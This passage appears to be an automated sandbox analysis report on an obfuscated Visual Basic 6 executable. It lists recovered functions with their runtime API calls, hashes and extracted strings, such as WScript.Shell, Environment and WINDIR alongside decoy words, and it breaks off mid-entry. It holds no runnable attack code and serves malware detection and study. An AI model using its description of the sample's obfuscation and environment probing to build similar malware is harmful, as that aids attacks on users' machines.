Opcode Fuzzy Hash: b071aab840054a5f2f00e0b046096656dcbf218ebf920b091f576eb607d92501
Instruction Fuzzy Hash: 3B3198711083D29BDF71CFB9C884BDA7AD1AF45314F0882AACC998E29BE7359143C716

Uniqueness

Uniqueness Score: -1.00%

Function 02A94ED9, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0503a8ef96073ddb5351bd91276924117229209951dfd367c1c1279e539fa236
Instruction ID: 056ac5022611aec84bec05605dbc7e0e88dd0d07b26d0bd2a130df7dc8d8d45c
Opcode Fuzzy Hash: 0503a8ef96073ddb5351bd91276924117229209951dfd367c1c1279e539fa236
Instruction Fuzzy Hash: 522175711086C29BDF72CFB9C880BD97AD1AF45318F0882AAC8994E29BE7355143C745

Uniqueness

Uniqueness Score: -1.00%

Function 02A981FF, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f14b47c1f4819b9fb12ad91fa36038723625918fb7c16e506fbce4469996c3a5
Instruction ID: c9744678418f95c4d4cf81781093e8e591e4e0b24caaedc51218a8e1b2f489dc
Opcode Fuzzy Hash: f14b47c1f4819b9fb12ad91fa36038723625918fb7c16e506fbce4469996c3a5
Instruction Fuzzy Hash: DC111736201A848FDB24CF1AC9C4A99B3E2AF9A304F14856AD8198B325DB34ED41CA51

Uniqueness

Uniqueness Score: -1.00%

Function 02A96078, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b47bf07a75451a09ffb50b011c094907fdd198ddf195b6593dd83719d08927
Instruction ID: f9c10843b090ab4fba55abe5c2d0f99548f2a60562fa8eea1e52c82563bd72b4
Opcode Fuzzy Hash: 69b47bf07a75451a09ffb50b011c094907fdd198ddf195b6593dd83719d08927
Instruction Fuzzy Hash: DCC048B6705680CFEB16CA19D891B1073B5EB16A88B090890E8028F712C228ED10CA00

Uniqueness

Uniqueness Score: -1.00%

Function 02A986F8, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
Instruction ID: f1647c15dfe5582e2114d8b48c9dc7a79c4e1b76aa7bcc19d5d00c5bce2ac4c7
Opcode Fuzzy Hash: 9553b201f40634b3f0bfaa8b0557a5c34869809b08848db32634946b51e74d60
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02A97B28, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcb78bc2401d7bff230a81ace96d83c6da4636c6f53c86349f1da6bd36986065
Instruction ID: 9cfb7c34ee36a22982db13be4e33995de3ff91d0836750198be001b502ca1415
Opcode Fuzzy Hash: dcb78bc2401d7bff230a81ace96d83c6da4636c6f53c86349f1da6bd36986065
Instruction Fuzzy Hash: EFB09274262640CFCE69CE09C594E40B3F0F708A00B410480E8028BB11CA24E840CB10

Uniqueness

Uniqueness Score: -1.00%

Function 004148A0, Relevance: 104.0, APIs: 69, Instructions: 468COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,00401406), ref: 004148E0
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,00401406), ref: 004148E8
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000014,00000000,?,?,?,?,?,?,?,?,00401406), ref: 004148FC
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414924
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041492E
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041493D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414966
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041496A
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414973
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 0041499C
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149A0
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149A9
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149D2
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149D6
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004149DF
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A08
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A0C
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A15
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A3E
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A42
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A4B
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A74
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A78
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414A81
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AAA
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AAE
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AB7
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AE0
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AE4
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414AED
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B16
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B1A
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B23
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B4C
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B50
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B59
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B82
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B86
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414B8F
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BB8
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BBC
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BC5
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BEE
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BF2
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414BFB
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C24
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C28
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C31
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C5A
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C5E
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C67
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C90
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C94
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414C9D
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CC6
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CCA
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CD3
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414CFC
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D00
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D09
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D32
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D36
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D3F
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D68
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D6C
__vbaUI1I2.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414D75
__vbaFreeStr.MSVBVM60(00414DA9), ref: 00414D95
__vbaFreeStr.MSVBVM60 ref: 00414D9A
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00414DA2

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$BoundsErrorGenerate$CopyFree$DestructRedim
String ID:
API String ID: 3196747407-0
Opcode ID: e855e5a916144d401dc2d1b1d9344ebb6b77fc3319cd07078f33cb78ad9b67f9
Instruction ID: 233b815b32d1be5b4fb8262dd517ac223b360761b11e729dcaa38567a181de36
Opcode Fuzzy Hash: e855e5a916144d401dc2d1b1d9344ebb6b77fc3319cd07078f33cb78ad9b67f9
Instruction Fuzzy Hash: C2026435A002258FCB14DF69D990ADEB7B5BFC8310F1641AAC80567391DA79DCC1CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 004161F0, Relevance: 79.1, APIs: 44, Strings: 1, Instructions: 324COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000005,00000000), ref: 0041624B
__vbaGenerateBoundsError.MSVBVM60 ref: 00416273
__vbaGenerateBoundsError.MSVBVM60 ref: 0041627D
__vbaUI1I2.MSVBVM60 ref: 0041628C
__vbaGenerateBoundsError.MSVBVM60 ref: 004162B5
__vbaGenerateBoundsError.MSVBVM60 ref: 004162B9
__vbaUI1I2.MSVBVM60 ref: 004162C2
__vbaGenerateBoundsError.MSVBVM60 ref: 004162EB
__vbaGenerateBoundsError.MSVBVM60 ref: 004162EF
__vbaUI1I2.MSVBVM60 ref: 004162F8
__vbaGenerateBoundsError.MSVBVM60 ref: 00416321
__vbaGenerateBoundsError.MSVBVM60 ref: 00416325
__vbaUI1I2.MSVBVM60 ref: 0041632E
__vbaGenerateBoundsError.MSVBVM60 ref: 00416357
__vbaGenerateBoundsError.MSVBVM60 ref: 0041635B
__vbaUI1I2.MSVBVM60 ref: 00416364
__vbaGenerateBoundsError.MSVBVM60 ref: 0041638D
__vbaGenerateBoundsError.MSVBVM60 ref: 00416391
__vbaUI1I2.MSVBVM60 ref: 0041639A
#573.MSVBVM60(?,?), ref: 004163BB
__vbaStrVarVal.MSVBVM60(?,?,000000DC), ref: 004163CE
#616.MSVBVM60(00000000), ref: 004163D5
__vbaStrMove.MSVBVM60 ref: 004163E6
#713.MSVBVM60(00000000), ref: 004163E9
__vbaStrMove.MSVBVM60 ref: 004163F4
__vbaStrMove.MSVBVM60(000000FF,00000000), ref: 00416407
#709.MSVBVM60(Bubbletop,00000000), ref: 0041640F
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,00000000), ref: 00416434
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00416444
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 00416469
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,0000004C), ref: 00416494
__vbaHresultCheckObj.MSVBVM60(00000000,?,004133C4,00000028), ref: 004164B8
__vbaFreeObj.MSVBVM60 ref: 004164BD
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 004164D6
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,00000014), ref: 004164FB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DC8,000000E0), ref: 00416521
__vbaStrMove.MSVBVM60 ref: 00416530
__vbaFreeObj.MSVBVM60 ref: 0041653B
#685.MSVBVM60 ref: 0041653D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416548
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004133D4,0000001C), ref: 00416569
__vbaFreeObj.MSVBVM60 ref: 00416571
__vbaFreeStr.MSVBVM60(004165C8), ref: 004165B5
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 004165C1

Strings

Bubbletop, xrefs: 0041640A

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$BoundsErrorGenerate$Free$CheckHresult$Move$ListNew2$#573#616#685#709#713DestructRedim
String ID: Bubbletop
API String ID: 1910537968-443156707
Opcode ID: 487ff7cd9eea1fcdd5a8d24d96adc19c588cbb1b00f3c145649f801c206e01df
Instruction ID: 62794ba7fcccf15f4bca2ff656b2780ce8bfae7f9605b674f77c36e585685533
Opcode Fuzzy Hash: 487ff7cd9eea1fcdd5a8d24d96adc19c588cbb1b00f3c145649f801c206e01df
Instruction Fuzzy Hash: 11C1A071A002199FDB14DFA5DD84EEEB7B8BF48700F11815AE905B7290DB78D881CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415FE0, Relevance: 63.2, APIs: 27, Strings: 9, Instructions: 150COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 0041603B
__vbaStrCopy.MSVBVM60 ref: 00416045
#523.MSVBVM60(?), ref: 0041604B
__vbaStrMove.MSVBVM60 ref: 0041605C
__vbaStrCmp.MSVBVM60(Instruktionsfelter2,00000000), ref: 00416064
__vbaFreeStr.MSVBVM60 ref: 00416076
#537.MSVBVM60(00000019), ref: 00416087
__vbaStrMove.MSVBVM60 ref: 00416092
#716.MSVBVM60(?,WScript.Shell,00000000), ref: 0041609E
__vbaObjVar.MSVBVM60(?), ref: 004160A8
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 004160B3
__vbaFreeVar.MSVBVM60 ref: 004160C2
__vbaLateMemCallLd.MSVBVM60(?,?,Environment,00000001), ref: 00416120
__vbaVarLateMemCallLd.MSVBVM60(?,00000000), ref: 0041612E
__vbaStrVarMove.MSVBVM60(00000000), ref: 00416138
__vbaStrMove.MSVBVM60 ref: 00416143
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0041614F
__vbaVarDup.MSVBVM60 ref: 0041616C
#705.MSVBVM60(?,00000000), ref: 00416177
__vbaStrMove.MSVBVM60 ref: 00416182
__vbaFreeVar.MSVBVM60 ref: 00416187
__vbaFreeStr.MSVBVM60(004161D6), ref: 004161B6
__vbaFreeObj.MSVBVM60 ref: 004161BB
__vbaFreeStr.MSVBVM60 ref: 004161C4
__vbaFreeStr.MSVBVM60 ref: 004161C9
__vbaFreeStr.MSVBVM60 ref: 004161CE
__vbaFreeStr.MSVBVM60 ref: 004161D3

Strings

WScript.Shell, xrefs: 00416095
INTREPIDITIES, xrefs: 0041603D
12-12-12, xrefs: 0041615E
PROCESS, xrefs: 00416101
`3A, xrefs: 00416108
WINDIR, xrefs: 004160E0
Environment, xrefs: 00416116
Item, xrefs: 004160DB
Instruktionsfelter2, xrefs: 0041605F

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$CallCopyLate$#523#537#705#716AddrefList
String ID: 12-12-12$Environment$INTREPIDITIES$Instruktionsfelter2$Item$PROCESS$WINDIR$WScript.Shell$`3A
API String ID: 706556445-2701931379
Opcode ID: 26d7f560c17e4258b22dc4cb18530a4b910b0201ac86f432e4481394e38251c7
Instruction ID: ce6fda59475b25a687e5268d9e5f1bd0fdef945f17530108612db0e6014c5b28
Opcode Fuzzy Hash: 26d7f560c17e4258b22dc4cb18530a4b910b0201ac86f432e4481394e38251c7
Instruction Fuzzy Hash: FF51E7B1D002099BCB04DFE5D9859DEBBB4FF48300F50812AE516BB2A4DB746A49CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00413C90, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00413CE5
#702.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413D05
__vbaStrMove.MSVBVM60 ref: 00413D16
__vbaStrMove.MSVBVM60(000000D2,?), ref: 00413D38
#628.MSVBVM60(00000000), ref: 00413D3B
#526.MSVBVM60(?,0000008F), ref: 00413D54
__vbaVarTstEq.MSVBVM60(?,00008008), ref: 00413D62
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00413D74
__vbaFreeVarList.MSVBVM60(00000004,00000003,00000002,00008008,?), ref: 00413D8C
__vbaVarDup.MSVBVM60 ref: 00413DB4
#515.MSVBVM60(00000002,00000003,000000EC), ref: 00413DC7
__vbaStrVarMove.MSVBVM60(00000002), ref: 00413DD1
__vbaStrMove.MSVBVM60 ref: 00413DDC
__vbaFreeVarList.MSVBVM60(00000002,00000003,00000002), ref: 00413DE8
__vbaFreeStr.MSVBVM60(00413E40), ref: 00413E38
__vbaFreeStr.MSVBVM60 ref: 00413E3D

Strings

H, xrefs: 00413D27
Steterne, xrefs: 00413DA3

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$List$#515#526#628#702Copy
String ID: H$Steterne
API String ID: 2978478683-3140766855
Opcode ID: 3b17bf8de32ee8e1a437929966da70973ba5554184b765fe8b62450b9a02096e
Instruction ID: 39b6e14083cd46221bc8a31b0e15d0ac484ca9c98b2cbe4b18855a0947b45de6
Opcode Fuzzy Hash: 3b17bf8de32ee8e1a437929966da70973ba5554184b765fe8b62450b9a02096e
Instruction Fuzzy Hash: FD41FCB1C01219ABDB04DFD4DA45ADDBBB9FB48700F20811AE516B7190DB742B49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90, Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 00413AE8
__vbaStrCopy.MSVBVM60 ref: 00413AF0
#512.MSVBVM60(Fortidslevningen6,00000055), ref: 00413AF9
__vbaStrMove.MSVBVM60 ref: 00413B0A
__vbaStrCmp.MSVBVM60(Mdeberettigedes1,00000000), ref: 00413B12
__vbaFreeStr.MSVBVM60 ref: 00413B24
#692.MSVBVM60(?,Narwhalian7,Unsapient), ref: 00413B3D
#524.MSVBVM60(?,?), ref: 00413B4B
__vbaStrVarMove.MSVBVM60(?), ref: 00413B55
__vbaStrMove.MSVBVM60 ref: 00413B60
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 00413B6C
__vbaFreeStr.MSVBVM60(00413BB6), ref: 00413BA9
__vbaFreeStr.MSVBVM60 ref: 00413BAE
__vbaFreeStr.MSVBVM60 ref: 00413BB3

Strings

Narwhalian7, xrefs: 00413B34
Unsapient, xrefs: 00413B2F
Fortidslevningen6, xrefs: 00413AF4
Mdeberettigedes1, xrefs: 00413B0D

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$Copy$#512#524#692List
String ID: Fortidslevningen6$Mdeberettigedes1$Narwhalian7$Unsapient
API String ID: 2084278817-2264054839
Opcode ID: 38ad1277ae108e22d59990e4e4eb50217e925b04c32dfdc32a1ae6b1a99d3bdf
Instruction ID: b289ca82178259a1545aeb94bcdc38d7db082e8df7ace206d6d1c468ed9e980f
Opcode Fuzzy Hash: 38ad1277ae108e22d59990e4e4eb50217e925b04c32dfdc32a1ae6b1a99d3bdf
Instruction Fuzzy Hash: F5310075D00219ABCB04DFA5DD859DEFBB8FF58740F10411AE502B72A0EB746A85CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00413E60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__vbaVarDup.MSVBVM60 ref: 00413EBA
#617.MSVBVM60(?,?,00000084), ref: 00413ECD
#703.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 00413EF4
__vbaVarTstLe.MSVBVM60(?,?), ref: 00413F0C
__vbaFreeVarList.MSVBVM60(00000004,?,00000006,?,00008008), ref: 00413F27
__vbaNew2.MSVBVM60(00412DB8,004172D4), ref: 00413F47
__vbaHresultCheckObj.MSVBVM60(00000000,02AAECFC,00412DA8,00000014), ref: 00413F6C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00412DC8,00000108), ref: 00413F99
__vbaFreeObj.MSVBVM60 ref: 00413FA2

Strings

antifeminine, xrefs: 00413EAC

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$#617#703ListNew2
String ID: antifeminine
API String ID: 1634331335-1895377292
Opcode ID: 066feb32dc378839b229abeb6c03d558ab24a990b53cb6870491cc00db98f125
Instruction ID: d0e686112637c348d9e4e7b270759d59941817f85e8d3d1804e60d3040fb838c
Opcode Fuzzy Hash: 066feb32dc378839b229abeb6c03d558ab24a990b53cb6870491cc00db98f125
Instruction Fuzzy Hash: 4A4117B1800209AFCB14DF94DD49EDEBFB8BF58711F20425AF206B72A0DBB45589CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00414130, Relevance: 13.5, APIs: 9, Instructions: 48COMMON

Download Yara Rule

APIs

#583.MSVBVM60(D0180000,4202A49F,?,?,?,?,?,?,00401406), ref: 00414177
__vbaFPFix.MSVBVM60(?,?,?,?,?,?,00401406), ref: 0041417D
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,00401406), ref: 00414183
#669.MSVBVM60(?,?,?,?,?,?,00401406), ref: 00414196
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141A7
#527.MSVBVM60(00000000,?,?,?,?,?,?,00401406), ref: 004141AA
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141B5
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00401406), ref: 004141BA
__vbaFreeStr.MSVBVM60(004141DC,?,?,?,?,?,?,00401406), ref: 004141D5

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$FreeMove$#527#583#669
String ID:
API String ID: 1159266349-0
Opcode ID: c5e1aeec05348a06619e09a2fc052ebba6676f35a6d1b5f59178a74542b39528
Instruction ID: cafe945f7c9752fc041132f697bf7eefb4a03c05b68149731f5ff140119e8c35
Opcode Fuzzy Hash: c5e1aeec05348a06619e09a2fc052ebba6676f35a6d1b5f59178a74542b39528
Instruction Fuzzy Hash: 03112A70D00244EBCB01AFA4DE4DA9E7FB8FB48741F10816AF542A26B0DB745A91CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00416780, Relevance: 12.1, APIs: 8, Instructions: 57COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004167C9
#702.MSVBVM60(?,000000FF,000000FE,000000FE,000000FE), ref: 004167E9
__vbaStrMove.MSVBVM60 ref: 004167F4
__vbaFreeVar.MSVBVM60 ref: 00416803
#648.MSVBVM60(00000003), ref: 00416817
__vbaFreeVar.MSVBVM60 ref: 00416823
__vbaFreeStr.MSVBVM60(00416847), ref: 0041683F
__vbaFreeStr.MSVBVM60 ref: 00416844

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#648#702CopyMove
String ID:
API String ID: 443321782-0
Opcode ID: e45b737b5c8189a329cf87b1d213dc4288a6cbb80e57c30b630500f56737cc26
Instruction ID: d03bd7f9aa6859071afdfa971f5e3680120a9e5a9d239fe40cccc7f0b641b524
Opcode Fuzzy Hash: e45b737b5c8189a329cf87b1d213dc4288a6cbb80e57c30b630500f56737cc26
Instruction Fuzzy Hash: 4C21F9B4C10229EBCB00DF94DE84ADEBBB8FB48714F10421AF912B32A0DB745546CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00414060, Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004140A3
#585.MSVBVM60(05780000,4202A192), ref: 004140B3
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 004140B9
#648.MSVBVM60(?), ref: 004140DE
__vbaFreeVar.MSVBVM60 ref: 004140E7
__vbaFreeStr.MSVBVM60(00414109,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401406), ref: 00414102

Memory Dump Source

